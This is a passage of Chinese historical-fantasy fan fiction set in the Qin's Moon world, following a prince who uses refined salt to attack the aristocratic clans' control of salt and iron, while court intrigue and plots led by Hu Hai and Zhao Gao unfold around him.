少女赤足踩在冰冷的星图上,脚踝上的锁链叮当作响。
她抬头看见穹顶流转的星辰幻象,瞳孔剧烈收缩!
那些星轨排列,竟与与她记忆中某处的图案一模一样。
“哗啦——”
铁链突然被无形之力扯直。
高月被迫跪在太极图案中央,看见九层玉阶之上,东皇太一的黑袍如水银泻地般垂落。
青铜面具后的双眼亮起两点金光,仿佛能直接刺入灵魂。
“孩子。”
东皇的声音像是无数人叠在一起的低语,
“你在害怕。”
高月咬破的嘴唇淌下血珠,却在落地前诡异地悬浮起来,化作一串血铃铛!
当铃音响起时,她发现自己的颤抖停止了,连心跳都变得异常缓慢。
幻音宝盒从东皇袖中滑出,悬浮到高月眼前。
盒身二十八宿纹路次第亮起,第三层的机关自行转动,奏出《清商》之调——
正是燕国宫廷的秘传曲谱。
“认识它吗?”
东皇的指尖隔空划过宝盒,第五层突然弹开,露出里面微型的水银银河!
高月不受控制地点头,脖颈后的燕国印记开始发烫。
她看见宝盒倒影里有个戴水晶冠的小女孩,正对着自己伸出手。
那…也是她?!
东皇突然结印,黑袍上的星象图活物般蠕动起来。
高月脚下太极图迸发强光,阴阳双鱼顺着她的脚踝盘旋而上。
当鱼眼位置抵达眉心时,少女发出撕心裂肺的尖叫!!
“封!”
咒印成型刹那,高月眼中的恐惧如潮水退去。
她机械地抬手接住坠落的幻音宝盒,动作精准得像在演练过千百遍。
“从今日起,你名姬如千泷。”
东皇太一的黑袍无风自动,
“位列阴阳家五灵玄同。”
月神从阴影中缓步而出,面纱下的唇角微微扬起:
“东皇阁下,这孩子的体质...”
“空灵圣体。”
东皇的指尖隔空划过姬如千泷的眉心,带出一缕银光,
“比焱妃更适合继承魂兮龙游。”
仿佛为了印证这句话,幻音宝盒突然自动旋转到第七层。
虽然只开启一道缝隙就卡住了,但泄露出的音波竟让殿内所有青铜灯盏同时炸裂!
月神广袖一挥,挡开飞溅的碎片:
“看来苍龙七宿的秘密……”
“噤声。”
东皇太一突然抬手,面具转向殿外某处阴影。
直到听见有阴阳家弟子游走的窸窣声远去,才继续道:
“每月朔月之夜,带她来禁地修**。”
姬如千泷突然跪伏行礼,声音空洞得不似活人:
“谨遵东皇大人谕令。”
她抬头时,瞳孔已变成与月神如出一辙的冰蓝色。
“带她去换装。”
东皇太一的黑袍逐渐融入黑暗,
“蜃楼启航前,必须解开第三层封印。”
……
当月神牵着姬如千泷走过长廊时,星魂正倚在廊柱上把玩着气刃。
少年**紫瞳中闪过一丝妒意:“师姐捡到宝了啊?”
“注意你的言辞。”
月神袖中飞出三枚水晶簪,钉在星魂耳侧的柱子上,
“她现在是我的弟子。”
姬如千泷突然转头看向星魂,幻音宝盒在她怀中发出嗡鸣。
星魂的气刃瞬间溃散!
他惊骇地发现,自己的阴阳术竟然被无声化解!
“有趣。”
月神轻抚少女长发,
“看来不用我教基础了。”
更衣室内,当姬如千泷换上绣有星月纹的深蓝衣裙时,铜镜突然映出她腰间悬挂的玉佩。
那是燕太子妃的信物。
少女的手指刚触及玉佩,镜面就结出冰花,将过往记忆彻底封存。
“从今往后。”
月神将水晶冠戴在她发间,
“你只需记住阴阳家的使命。”
殿外乌云遮月,夜枭掠过夜空。
谁也没发现,姬如千泷接过幻音宝盒的右手掌心,有一道墨家非攻令的印记,正缓缓消退。
……
桑海。
小圣贤庄。
墨家覆灭的消息传来时,伏念正在书房批阅竹简。
当弟子战战兢兢呈上密报,他手中的笔锋一顿,墨汁在简上晕开一片黑痕。
“墨家…亡了?”
伏念的声音低沉而沉重,仿佛每一个字都压在心头!
他缓缓放下笔,目光扫过竹简上的情报,眉头深锁。
颜路站在窗边,指尖轻轻摩挲着腰间的含光剑柄,神色依旧平静,但眼底却闪过一丝罕见的波动。
他低声道:“霸道机关术…竟能恐怖至此。”
张良立于案前,手中折扇轻摇,眸光深邃。
他并未急着开口,而是先确认了弟子退下。
待书房内只剩三人,才缓缓道:“墨家机关城号称‘天外魔境’,如今却在一夕之间倾覆,秦军与公输家的联手,确实不容小觑。”
伏念闭目片刻。
再睁眼时,眼中已恢复沉稳。
“墨家虽亡,但墨家弟子未必尽灭。”
“听闻残部已逃离,我们……”
“不可。”
张良摇头,折扇一收,语气坚定。
“此时若与墨家接触,只会引火烧身。”
伏念眉头一皱!
“儒家与墨家虽道不同,但终究同属百家,若见死不救,岂非有违圣人之道?”
颜路轻叹一声。
“师兄,如今大秦铁腕**诸子百家,儒家若贸然行动,恐怕……”
伏念沉默片刻,终于道:“或许,我们该去请教荀师叔。”
张良苦笑。
“荀师叔早已不问世事,即便我们前去,他也未必愿见。”
伏念沉吟道:“可如今局势动荡,儒家若想保全自身,总该有个方向。”
张良目光微凝,低声道:“正因局势动荡,我们才更该静观其变。”
“墨家覆灭,罗网必然不会就此收手,下一个目标是谁?道家?农家?还是…儒家?”
伏念神色一凛!
“你的意思是,我们什么都不做?”
张良点头。
“不错。此时行动,只会暴露儒家的立场。”
“唯有韬光养晦,才能在这暗流之下保全自身。”
颜路微微颔首。
“子房所言有理,儒家如今最需要的,是时间。”
伏念沉默良久,终于长叹一声。
“罢了,就依你们所言!”
他站起身,走到窗前,望向远处的竹林,眼中闪过一丝忧虑。
“只是…这天下,终究要乱了。”
张良目光深邃,轻声道:“乱世之中,唯有智者能立于不败之地。”
窗外,风声渐起,竹影摇曳。
三人静立无言,都已预见到…那即将席卷天下的风暴。
……
农
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家。
烈山堂。
夜色深沉,林间雾气弥漫。
惊鲵立于断崖边缘,面具下的双眸冷静如冰。
身后树影微动,掩日的身影无声浮现,铁甲在月光下泛着冷光。
“田猛已死。”
惊鲵开口,声音不带丝毫波动。
“所有人都在怀疑朱家。”
掩日低沉的笑声从面具后传来。
“很好,主人对你很满意。”
他缓步上前,铁靴碾碎落叶。
“下一步,你必须掌控农家!”
惊鲵微微侧首,夜风拂过她的长发。
“六堂内斗,田虎野心勃勃,司徒**摇摆不定,朱家已成众矢之的…局势虽乱,但尚在掌控。”
掩日冷哼。
“别太自信,罗网要的不是混乱,而是绝对的掌控!!”
他抬手,一枚青铜令牌落入惊鲵手中。
“若失败,你知道后果。”
惊鲵握紧令牌,指尖微微发白。
“明白。”
掩日的身影渐渐隐入黑暗,最后留下一句:
“记住,你只是罗网的剑,别把自己当成农家的主人。”
夜风骤起,惊鲵独立崖边,面具下的唇角勾起一抹冷笑。
而远处,烈山堂的灯火,在雾中明灭不定……
……
夜。
赢子夜府邸。
萧何疾步穿过回廊时,腰间玉佩撞击出急促的声响。
他怀中紧抱的竹简在月光下泛着青冷的光,有几卷边缘已经磨损得起了毛边。
“殿下!”
萧何甚至没等侍卫通报就推开了书房门,额角的汗珠顺着脸颊滑落。
“臣有要事禀报!”
赢子夜正用**雕刻着一枚青铜令牌。
闻言手中动作微顿,锋刃在铜面上刻出一道偏离纹路的划痕。
他并未抬头,只是淡淡扫了一眼竹简上的内容。
随手将**翻转,用刀柄敲了敲案角,语气平静却透着一丝凉意:
“能让萧大人深夜失态,看来不是小事。”
萧何将竹简在案上铺开,手指点在一处朱批上:
“您看这个田产侵占案。
涉案的不过是陇西李氏一个家奴,却敢强占三十亩上田!”
他的指甲在“原告暴毙”四个字上重重一划:
“案结后,这些田产最终还是归了李氏。”
赢子夜用染血的指尖翻开下一卷。
“还有这个铁矿**!结案文书上说追回了八千斤精铁……”
“实际追回的不足三千。”
萧何从袖中抽出一张麻布地图,上面用炭笔标记着十几处矿洞:
“臣按图索骥,发现这些矿洞的产出从未登记在册。”
话音刚落,书房里的青铜灯树突然爆出几点火星。
赢子夜盯着地图上陇西李氏的族徽。
那是一只踏着农具的玄鸟,冷笑道:“看来他们连父皇的图腾都敢玷污。”
“最蹊跷的是这里。”
萧何又展开一卷泛黄的竹简:
“三年前有个税吏曾**李氏,三日后便溺死在自家茅厕!”
他的声音低了下去:
“验尸单上写着醉酒失足,但臣查过此人根本不善饮。”
赢子夜突然用**钉住地图上咸阳的位置:
“这些案子为何能草草结案?”
“而且所有关键证据都会莫名消失。”
萧何苦笑着指向案几角落的灰烬:
“就像臣今日刚找到的运铁车队记录,傍晚时档案库就差点起了场小火。”
第73章 明日早朝为父皇和氏族准备一份大礼
突然!
窗外传来瓦片轻响!
赢子夜头也不抬地甩出**,只听一声闷哼,接着是重物坠地的声音!
片刻后,赵弋苍提着个黑衣人进来,那人太阳穴上正插着那把**。
“有探子。”
赵弋苍扯下刺客面巾,露出下颌处的刺青:
“有人盯上萧大人了。”
萧何的指尖微微发抖:“是臣…连累了殿下!这些氏族在朝中盘根错节,连陛下都……”
“正因如此,才更要查!!”
赢子夜从刺客颅骨中拔出**!
血珠顺着刃口滴在地图上,恰好染红了陇西的位置!
“你以为父皇为何纵容我在朝中培植势力?”
萧何猛地抬头。
赢子夜已经转身从暗格里取出一枚虎符扔给赵弋苍:
“调一队暗河死士,明日扮作商队护送萧大人去陇西。”
又对萧何道:
“你继续追查,我会让昭鞅带人清理尾巴。”
“可那些氏族长老……”
“他们很快就没空管你了。”
赢子夜轻笑:
“对了,你明日出发前,记得‘不小心’把这个落在御史大夫府上。”
他推过一份抄录的密账,首页赫然写着“李氏私矿岁入”。
五更鼓响!
萧何抱着重新封好的竹简告辞。
赢子夜站在窗前,看着暗河**们像影子般跟上去。
东方泛起鱼肚白。
照见他手中把玩的青铜令牌——
那是他这一晚上刻好的“监察御史”印信。
“公子。”
公孙墨玄不知何时立在廊下:“需要臣去拜访几位宗正寺的老朋友吗?”
赢子夜弹了弹令牌:
“不急,等萧何的奏章递到父皇案头再说。”
晨风吹散最后一缕夜色。
远处皇城的晨钟正好敲响。
公孙墨玄已然退下。
赢子夜摩挲着腰间天子剑的玉璏,那上面新刻的玄鸟纹正在晨光中若隐若现。
“走私铁矿……”
他低声自语,眼底寒意渐深:
“这些氏族,胆子倒是比天还大。”
氏族势大,根深蒂固,仗着祖上军功,盘踞各地,彼此勾连。
即便朝廷查出些端倪,只要明面上过得去,他们总能全身而退。
毕竟,若逼得太紧,氏族联合**,动摇的便是大秦的根基。
“想动氏族,就得先毁其根基!!”
赢子夜嘴角微扬,心中已有盘算。
他转身对侍从下令:“去准备盐矿、木炭、大锅,全部摆放在院中。”
侍从虽不解其意,但不敢多问,立刻领命而去。
不多时,几口大锅架起,盐矿堆叠一旁,木炭燃起熊熊火光。
赢子夜凝视着锅中逐渐融化的盐块,思绪却飘向另一个问题——
那些丢失的铁矿,究竟去了哪里?
从萧何查到的账目来看,这些铁矿数目惊人,足以打造一支千人精锐!
若这些铁器流入民间,甚至落入六国余孽之手……
“不可能全藏在氏族府邸。”
赢子夜眯起眼:
“他们没那么蠢。”
最大的可能,是这些铁矿已被秘密冶炼成兵器,藏于某处,或是暗中交易给了某些势力。
“罗网?”
他摇头:“赵高不会蠢到直接插手铁矿。”
“六国余孽?”
可能性更高。
尤其是项氏一族,本就擅长锻造兵器,若得这批铁矿,必能壮大实力!
赢子夜冷笑一声:
“果然,得先断了他们的财路。”
他伸手从锅中捞出一把粗盐,指尖轻轻碾磨,盐粒簌簌落下。
“盐铁之利……”
他低声道:
“既然你们敢动铁,那我就先动你们的盐!!”
氏族掌控各地盐矿,借此敛财无数。
若朝廷突然放出大量精制盐,压低盐价,必能重创氏族财源。
“没了钱粮,看你们还能翻出什么浪。”
赢子夜负手而立,望着院中熊熊燃烧的火光,眼中冷意更甚。
“氏族……”
他轻声自语:
“你们的末日,该到了。”
……
旭日东升,少司命踏着薄雾而来。
紫发轻扬,面纱下的眸光一如既往的淡漠。
然而,当她行至院中,脚步却微微一顿。
几口大锅架在院中央,炭火已熄,锅中残余的热气袅袅升起。
而在锅旁,堆放着如雪般洁白的细碎晶体,在朝阳下泛着晶莹的光泽。
少司命眸光微动,缓步上前。
她从未见过如此纯净的“雪”,不由伸出纤指,轻轻拈起一粒。
“盐。”
赢子夜的声音从身后传来。
他玄色长袍上还沾着些许炭灰,显然一直在忙。
少司命指尖微颤,冰蓝的眸中闪过一丝讶异。
她低头看着指间之物——
这细腻如雪的结晶,竟是盐?!!
大
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秦的盐,向来粗粝泛黄,带着苦涩。
而眼前之物,却纯净得近乎虚幻……
“如何?”
赢子夜唇角微扬。
“比你们阴阳家的丹药也不差吧?”
少司命沉默。
眸光却久久未从盐堆上移开。
她虽不言,但微微收紧的指尖已泄露了心绪。
赢子夜拂袖转身。
“装车,入朝。”
他声音里带着冷意。
“这可是本公子献给父皇和氏族的…‘大礼’。”
侍从们迅速将雪盐装入玉匣。
少司命静立一旁,看着一匣匣纯盐被搬上马车。
当最后一匣经过她身旁时,一阵晨风忽起,掀开了匣盖一角。
如雪盐粒簌簌滑落,在阳光下折射出细碎的光芒,恍若星河倾泻!!
少司命下意识伸手,一粒盐正落在她掌心。
这一瞬,她淡漠的眸中,终于泛起一丝涟漪。
……
此刻。
章台宫,御书房。
始皇帝指节轻叩案几,目光落在萧何的奏折上,眼底暗流涌动。
“氏族……”
他低声自语,指尖在竹简上缓缓划过,墨迹未干的字迹透着凌厉。
这些事,他岂会不知?
当年灭六国时,氏族仗着军功,盘踞各地,暗中敛财。
可那时正值天下初定,六国余孽未清。
若贸然对氏族出手,只会逼得他们与六国残党勾结,动摇大秦根基!!
——所以,他忍了。
可如今,这份奏折却像一把锋利的**,直指氏族命脉。
“萧何……”始皇帝眯起眼,指腹摩挲着奏折末尾的署名。
“呵。”他忽然冷笑一声,将奏折重重合上。
这哪里是奏折?
分明是一封战书!
子夜那小子,终于要对氏族下手了。
始皇帝起身,玄色帝袍垂落,十二冕旒微微晃动。
他负手而立,望向殿外渐亮的天色,眸中冷意渐浓。
氏族仗着祖上功勋,垄断盐铁,把控地方,甚至敢私藏铁矿,暗中资敌。
——如今,是时候让他们知道,这天下姓什么了。
“上朝!”
他声音低沉,却如惊雷炸响。
侍从慌忙跪地,额头紧贴地面,不敢抬头!!
始皇帝大步迈出御书房,龙靴踏过玉阶,每一步都似有千钧之力。
今日朝堂,注定不会太平。
而他,很期待看到某些人脸上的表情。
第74章 他这是要绝我氏族的根啊!!!
咸阳宫。
麒麟殿。
晨钟初歇,群臣依次入殿,朝服如潮。
檐下鸾铃轻响,似有寒风穿堂,拂得百官衣袖微颤。
始皇帝端坐龙台之上,十二冕旒低垂,遮住眼中神色。
殿中烛火静燃,只听得玉阶上偶尔传来几声咳嗽与脚步声,安静得令人心悸。
今日,是照例的朝会日。
却不知为何,自入殿以来,所有人都感到异样的压抑。
连平日里最爱高谈阔论的廷尉也只小声与身旁低语几句,便再不作声。
冯劫站在班列前方,指节因用力握着笏板而发白。
他已站了小半个时辰,却始终未得陛下召言。
玉阶上,始皇帝一动不动,仿佛在等待某个信号,又像在有意压迫朝堂。
忽然,一名内侍快步上前,在陛下耳边低声数语。
始皇帝未作回应,只缓缓睁开双眼。
那一瞬,群臣心头齐齐一紧!!
龙台上的男人抬起手,食指微微一扣:
“奏事。”
声音不大,却像冰冷铁锤落在钟面,将这片沉默打得粉碎。
冯劫终于出列,声音不再迟疑。
他的白须微颤,手中奏章在殿中摊开时,几乎带着一股怒意。
“陛下——”
他声音激昂,却先不指名道姓,而是一条一条,条分缕析:
“萧何所查旧案桩桩属实!李氏私占铁矿三万斤,三川尉氏强征民田千顷——”
“荒谬!”
陇西李氏家主李桓的玉冠猛地一晃,腰间佩剑撞得叮当作响。
“我族世代为大秦出生入死,岂容这般污蔑?”
他转身时,朝服上绣的玄鸟纹几乎要飞起来啄人!!
三川尉氏的尉林更是一脚踢开竹简:“当年灭楚时,我尉氏儿郎血染淮水!如今倒要被几个刀笔吏审问?”
“肃静!”
赵高的尖嗓像刀子划破锦缎。
百官顿时噤声,只见龙台上的始皇帝正用定秦剑鞘有节奏地敲击着玉阶。
十二冕旒的阴影下,那双眼睛深不见底。
赢子夜在袖中摩挲着盐粒。
他看见父皇的指尖在剑鞘上敲了几下——
那么快就不耐烦了?
“父皇。”
赢子夜突然出列,玄色**袍扫过争执双方中间,“儿臣有宝物献上。”
朝堂霎时一静。
李桓的冷笑还僵在脸上,尉林抬到一半的脚尴尬地悬在半空。
“哦?”
始皇帝的声音带着恰到好处的疑惑,“此刻献宝?”
两名侍卫抬着玉匣进殿时,公输仇的机关臂突然“咔咔”作响。
当匣盖掀开,满朝文武都伸长了脖子——
匣中竟是雪白的粉末,在晨光中晶莹如雪!!!
“此乃何物?”始皇帝倾身向前。
“盐。”
那一抹雪白在玉匣中缓缓显露,如冰川寒光,一瞬刺入殿中众人眼中。
无人言语!
李桓瞳孔微缩,却强撑镇定:“不过是寻常白盐罢了。”
冯劫冷笑一声,摆手:“白盐?陛下恕罪,臣有僭越之言——”
“六公子此盐,绝非常法所制!!!”
他从袖中取出同款玉匙,轻轻舀出一撮盐末,送至案几。
一时间,百官目光尽落那撮盐上。
洁白如雪,颗颗晶莹,如昆山之玉,又如霜雪未化,几欲透明!!
气氛愈发凝固。
这时,才有人低声惊呼:“这颜色、这成色……是玉盐?”
李斯原本站于陛下侧后,一言未发。
此刻却终于迈前半步,眉头紧锁,缓缓屈身,指尖沾了些许盐末,送入口中。
他尝得极慢,眼神自警惕、狐疑,到骤然震动!!!
“这不可能……”
他失声低语,忽而又伸手舀了一大撮,缓缓含入口中。
随着味蕾捕捉到那一缕纯净到极致的咸香,他整个人仿佛被雷劈中一般,手中笏板几欲脱落。
“这……这比齐地海盐纯净十倍!”
群臣一震!
那瞬间,原本心存怀疑之人,纷纷趋前,有人颤声道:“能否…再看一眼?”
就在这时!
始皇帝在众目睽睽之下缓步下阶。
当他的指尖触及盐粒时,拇指微不可察地颤了一下。
“陇西的井盐……”
始皇帝突然捏碎一把盐粒,“苦如黄莲。”
李桓的脸色顿时比盐还白。
陇西李氏垄断井盐百年,粗盐掺沙是惯用伎俩。
而现在,这雪白的盐粒正在他眼前闪闪发亮,像无数把**!!
“儿臣偶然所得秘法。”
赢子夜的声音响彻大殿,“以寻常矿盐为料,三日可成。”
他故意顿了顿,“若设官坊,月产万斤不难。”
“噗通”一声!
治粟内史直接跪在了盐匣前。
这位管了二十年盐铁的老臣手抖得像筛糠。
“陛下!若…若此盐推行……”
“李氏的盐井就成废坑了。”
赢子夜毫不遮掩,直接轻笑道。
他看见尉林的额头渗出冷汗。
要知道,三川尉氏也占着大秦三成的盐运。
始皇帝突然抓起一把盐洒向空中!
盐粒如雪纷扬,落在氏族们的朝服上,像给他们披了层丧服!!!
“冯劫。”
始皇帝转身时,盐粒还在李桓的玉冠上跳动,“你方才说…要重查哪些案子?”
冯劫一个激灵,竹简“哗啦”展开:“陇西铁矿**!三川强征田亩案!南阳……”
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>“查。”
始皇帝的声音很轻,却让殿柱都震了震,“一查到底。”
李桓猛地抬头:“陛下!我族——”
“李卿。”始皇帝拈起一粒盐放在他掌心,“尝尝。”
李桓的手抖得几乎捧不住盐粒。
当他尝到那纯净的咸味时,整个人如遭雷击!!!
这味道…宣告着李氏百年盐业的终结。
“造价几何?”
始皇帝指尖碾着雪盐,目光如炬地盯着赢子夜。
“矿盐十斤可得此盐七斤。”
赢子夜拱手答道,“算上炭火人工,成本不足市盐三成。”
“三成?!”
李斯失声惊呼,手中笏板“啪嗒”掉在地上。
治粟内史直接扑到盐匣前,老眼昏花地数着盐粒,嘴里不住念叨:“这、这……”
李桓突然剧烈咳嗽起来,脸涨得通红。
他想起族中那些掺了沙土的井盐,每斤都要卖到五十钱!!
“更紧要的是。”
赢子夜突然提高声调,“民间私盐多含毒硝,去年琅琊郡因毒盐致死百姓达三百余人。”
他目光扫过面色铁青的氏族们。
“此法推行,当救万民性命。”
“彩!!!”
始皇帝突然抚掌大笑,玄色龙袖带起的风扑灭了最近的灯盏!
他双目如电地看向章邯:“将作少府即日起全力督造,朕要三个月内各郡皆设官盐坊!”
章邯抱拳领命时,余光瞥见赵高正用袖口擦拭额头。
那苍白的脸上已布满细密汗珠。
“至于贪腐案……”
始皇帝突然将萧何的奏章重重拍在案上。
“就交给萧何全权处理!!!”
“陛下!”
南阳赵氏家主霍然跪地。
“萧何不过小小文吏,岂能专权此事?!!”
“嗯?”
始皇帝一个眼神扫来,赵氏家主登时噤若寒蝉,冷汗涔涔而下。
始皇帝缓缓抚过腰间定秦剑。
“朕……愿意让他专权。”
“即日起,萧何擢升御史中丞,专司稽查各郡盐铁事务!!”
赢子夜看见李桓的嘴唇在发抖,而尉林的官袍下摆已经湿了一片。
那是打翻的酒樽,还是失禁的尿液?
始皇帝扫视面如死灰的氏族们,忽然转身。
“至于那些…该杀的人,一个不留。”
赢子夜看着李桓瘫软在地,尉林的朝服被冷汗浸透。
而在龙台旁,赵高正死死盯着那匣盐,苍白的面容第一次露出惊惧——
他比谁都清楚,这雪白的晶体比十万大军更可怕!!
当退朝的钟声响起时。
赢子夜故意落后几步。
他听见李桓在嘶吼:“这…这是要绝我氏族的根啊!!!”
第75章 大秦,换个人,照样做皇帝!!!
李氏府邸。
密室。
青铜灯盏的火光剧烈摇晃,映照出七张铁青的脸。
李桓一拳砸在案几上,震得酒樽倾倒,浑浊的酒液浸透了竹简上“盐铁专营”四个朱红大字。
“这是要断我们的根啊!”
南阳赵氏家主赵权的指甲抠进了檀木桌面。
“盐利占我族岁入六成,若真让那小崽子推行新法……”
“何止是盐?”
三川尉林冷笑着抖开一卷帛书。
“你们看看,萧何那厮查的都是什么!”
帛书上密密麻麻记录着各郡铁矿产量与税赋的差额,尉林的手指狠狠点在“三川郡”三个字上。
“这是要扒皮抽骨!”
密室内的温度仿佛骤降。
孟氏家主孟邺突然将酒樽摔得粉碎。
“自商鞅变法以来,还没人敢如此欺辱我等世家!”
“那赢子夜分明是冲着储君之位去的。”
李桓阴鸷的目光扫过众人。
“今日你们也看到了,陛下把盐铁和查案大权都交给了他的人……”
“储君?”
尉林突然怪笑一声,腰间玉佩撞出刺耳的声响。
“流水的王朝,铁打的世家!”
“当年昭襄王都要给我们三分薄面,他一个黄口小儿……”
话音未落,密室角落的帷幕突然无风自动。
七名家主同时按剑而起!
却见一个身着玄色锦袍的少年缓步而出——
十八公子胡亥把玩着一枚青铜罗盘,脸上挂着甜腻的笑容。
“胡亥公子?”
李桓的剑尖微微下垂。
“您这是……”
“侄儿听闻叔伯们在此议事。”
胡亥的鹿皮靴踩过酒渍,罗盘指针突然指向尉林。
“今日朝堂之事,实在令人心寒啊。”
赵权眯起眼睛。
“公子此言何意?”
“诸位叔伯的家族,为大秦立下汗马功劳。”
胡亥的手指抚过罗盘上染血的刻度。
“六哥却用这等手段相逼,侄儿…实在看不过眼。”
他忽然抬头,眼中闪过一丝与年龄不符的阴冷。
“不如,我们合作?”
密室陷入死寂。
孟邺的喉结滚动了一下。
“合作?公子莫不是说笑?”
胡亥轻笑一声,罗盘突然弹开暗格,露出里面刻着蜘蛛纹的玉牌。
七名家主同时变色——
那是罗网的标记!!!
“萧何三日后将赴陇西查案,叔伯们觉得…该怎么办?”
胡亥的声音突然变得粘稠如蜜。
话音刚落,罗盘“咔”地合拢。
密室门缓缓闭合,漆黑如夜。
七名家主静默良久,如木雕般一动不动。
半晌,赵权才低声道:
“他走得倒快。”
“但话没说完,意却到了。”
李桓轻轻叩了叩案几:“从萧何入手……这是他想要的。”
“也正是我们所需。”
尉林沉吟道:“这十八公子,倒是个会下饵的。”
“此番登门,想必是盼着吾等…投他门下。”
孟邺斟满新酒,目光幽深:“只要他有用,又何妨?”
“大秦,换个人,照样做皇帝!”
“既如此,”赵权慢慢点头,“便从那萧何身上……探探深浅!!”
七只酒樽在黑暗中轻轻相碰,低沉的碰撞声宛如某种无形盟约。
……
与此同时,胡亥的马车正驶过长街。
赵高从阴影中浮现,苍白的脸上带着诡笑。
“公子,鱼儿上钩了?”
胡亥把玩着从李桓腰间顺来的玉佩。
“老师,您说蜘蛛吃鱼的时候……”
他突然捏碎玉佩。
“是先吸干血肉,还是先啃掉骨头?”
马车外惊雷炸响,照亮了少年公子天真笑容下,那深不见底的黑暗!
赵高苍白的手指捻着帘角,声音压得极低。
“其实公子大可不必亲自前来,一旦事败……”
“咯”的一声脆响,胡亥捏碎了掌中把玩的玉核桃。
碎玉从指缝簌簌落下,在车厢地板上拼出个残缺的蜘蛛图案。
“老师。”
少年公子突然甜笑起来,眼角却绷出两道危险的细纹。
“你觉得那群老狐狸,会信一个传话的阉人么?”
赵高面皮一抽,袖中金线蛛丝瞬间绷直。
车顶立刻传来“咚”的闷响,是个罗网暗卫吓得踩滑了瓦片。
胡亥漫不经心拭去指尖玉屑。
“至于失败……”
他忽然掀开车帘。
远处李氏大宅的灯火在雨幕中模糊成血色光晕。
“你见过会说话的尸体么?”
一道闪电劈落。
赵高看清了胡亥眼底翻涌的紫雾,那是摄魂术的痕迹!
他喉结滚动,蛛丝缓缓松弛。
“老奴明白了。”
“不,你不明白。”
胡亥突然掐住赵高手腕。
少年看似纤细的手指,竟在精铁护腕上掐出五道凹痕。
“若失败,我要他们死得……”
凑近耳语的唇瓣弯成月牙。
“像一群意外溺毙的醉鬼!!!”
……
将作少府。
高阁。
赢子夜负手立于阁楼栏杆前,玄色**袍在风中猎猎作响。
他俯瞰着下方忙碌的工匠,眼神如刀锋般扫过每一个角落。
章邯垂首立于三步之外,青铜甲胄在夕阳下泛着冷光。
“都安排妥当了?”
赢子夜的声音不轻不重,却让檐角铜铃都为之一静。
章邯抱拳:“回公子,三百匠人皆选自军中遗孤,家眷已迁入少府别院。”
他顿了顿,“按您吩咐,每人只知一道工序。”
赢子夜指尖轻叩栏杆,节奏
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与远处打铁的声响微妙重合:“你可知这盐……”
他突然转身,眸中寒芒乍现,“能活人,亦能**?”
章邯的喉结滚动了一下。
他看见公子腰间天子剑的玉璏上,不知何时多了一道血痕。
“下官愚钝……”
“陇西盐井苦如黄莲,是因李氏掺了硝石。”
赢子夜从袖中抖出一包粗盐,任其从指缝簌簌落下,“而硝石——”
盐粒在落地前突然爆出几点火星,“是制火炮的原料。”
章邯的瞳孔骤然收缩!!!
他想起六公子研制的“霹雳铜兽”,踏碎了墨家机关城。
“而且,萧何查到的铁矿,足够造十万箭镞。”
赢子夜的声音突然压低,“若让氏族掌控盐铁之利……”
他指尖在喉间轻轻一划。
一阵狂风突然掀起赢子夜的袍角,章邯瞥见公子靴筒中露出的**柄,那上面刻着某种他看不懂的特有波纹。
“章邯。”赢子夜突然直呼其名,“你对大秦,忠心否?”
“砰!”
章邯单膝砸地,膝甲与青砖相撞发出闷响:“臣愿以全族性命作保!!!”
他抬头时,看见公子手中不知何时多了一卷竹简。
那是他幼子前日所作的《忠君赋》。
赢子夜轻轻展开竹简:“令郎文采不错。”
指尖在“肝脑涂地”四字上顿了顿。
“但本公子要的不是文章,是血!”
夕阳突然被乌云遮蔽。
章邯感到有冰凉的液体滴在颈后,不知是雨还是汗。
“盐法若泄于氏族……”
赢子夜合拢竹简的声音像铡刀落下,“我要的不仅是你的头。”
“还有你全族的命!!!”
“臣愿领死!”
章邯的额头重重磕在地上。
“而现在,我要你活着。”
赢子夜突然轻笑,“活着看氏族**。”
一滴冷汗顺着章邯的鼻尖砸在地上。
他忽然明白为何陛下如此器重这位公子——
这含笑的威胁,这精准的拿捏,简直与当年的陛下如出一辙!!!
“去吧。”
赢子夜转身望向已开始飘雨的苍穹,“告诉那些工匠,谁若泄密……”
“死!”
章邯骇然回首,只见少府外的渭河上泛起一团血红。
而公子依然负手而立,仿佛只是看了场无关紧要的雨。
当赢子夜迈下台阶时,雨线在离他三寸处自动分开。
章邯恍惚看见公子周身萦绕着一层淡金色光晕,那是赢氏子孙独有的炎龙之气!
“公子!”
章邯突然追上几步。
雨越下越大。
赢子夜的身影逐渐消失在雨幕中,只有最后一句低语萦绕在章邯耳边:
“记住,盐是白的,血是红的……”
“而背叛者的下场,是黑的。”
第77章 百年世家,岂是你一小儿所能撼动!
李氏府邸。
夜雨初歇,厅内烛火通明。
李桓举杯大笑。
酒液顺着胡须滴落在锦袍上:“诸位,可曾见过如此妙事?”
“那萧何查案查得风生水起,如今却成了阶下囚!”
“哈哈哈!”
尉林拍案,震得盘中炙肉乱颤。
“什么清官能吏?不过是个监守自盗的鼠辈!”
他眯眼咂了口酒。
“明日朝堂之上,老夫定要看看那位六公子如何辩解!”
孟邺捻须冷笑。
“听说那赢子夜最是护短,此番若让他亲手斩了自家门客……”
他故意拖长声调。
“不知是何等精彩?”
厅内顿时爆发出一阵哄笑。
赵偃把玩着金樽,眼中闪着阴冷的光。
“这还只是开始。”
“盐铁之利,岂是他一个黄口小儿能动的?”
他猛地将酒樽砸在案上。
“明日,我要亲眼看着他跪地求饶!!!”
侍从们战战兢兢地添酒,生怕触怒了这群醉醺醺的权贵。
李桓眯起眼,望向咸阳方向,仿佛已经看到了赢子夜铁青的脸色。
“六公子啊六公子,你以为凭些小聪明就能撼动我等?”
他仰头饮尽杯中酒,喉间发出畅快的叹息。
“明日,便让你知道——”
“什么叫百年世家的底蕴!!!”
烛火摇曳,映照出众人得意忘形的面孔。
……
咸阳宫。
麒麟殿。
晨钟未响,群臣已至。
殿内肃穆,却暗流涌动。
三三两两的朝臣聚在一处,低声交头接耳,目光不时瞥向立于前列的赢子夜。
“听说了吗?萧何贪墨……”
“嘘!小声些……”
“那可是六公子的人……”
细碎的议论声如毒蛇吐信,在殿内游走。
赢子夜面色如常,玄色长袍纹丝不动,唯有腰间天子剑的剑穗微微摇曳,似在无声冷笑。
“陛下驾到——!”
赵高尖细的嗓音刺破寂静。
百官瞬间噤声,分列两侧,俯首恭迎。
始皇帝踏着龙纹御道而来,玄色帝袍垂落,十二冕旒遮住了他的神情,却遮不住那股令人窒息的威压。
“有事启奏。”
始皇帝落座,声音低沉如雷。
李桓第一个出列,笏板高举。
“臣,**御史中丞萧何,监守自盗,贪墨府库千金!”
殿内骤然一静,群臣面色震动。
几道目光投向赢子夜,神色不一。
